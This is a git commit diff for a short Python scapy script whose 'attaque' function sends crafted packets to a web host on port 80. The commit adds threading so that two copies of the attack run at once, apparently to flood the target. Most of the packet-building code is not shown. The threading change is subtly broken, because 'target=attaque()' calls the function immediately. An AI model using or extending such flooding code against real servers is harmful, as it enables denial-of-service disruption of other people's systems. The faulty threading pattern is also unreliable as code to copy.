2 thread send packet
This commit is contained in:
parent
5b0309a4e8
commit
5d1b6fc5ce
1 changed files with 5 additions and 1 deletions
|
@ -1,5 +1,6 @@
|
||||||
from scapy.all import *
|
from scapy.all import *
|
||||||
import random as r
|
import random as r
|
||||||
|
import threading as th
|
||||||
|
|
||||||
adresse = "web"
|
adresse = "web"
|
||||||
port = 80
|
port = 80
|
||||||
|
@ -23,4 +24,7 @@ def attaque():
|
||||||
sr1(paquet, verbose=True)
|
sr1(paquet, verbose=True)
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
attaque()
|
t1= th.Thread(target=attaque())
|
||||||
|
t2=th.Thread(target=attaque())
|
||||||
|
t1.start()
|
||||||
|
t2.start()
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue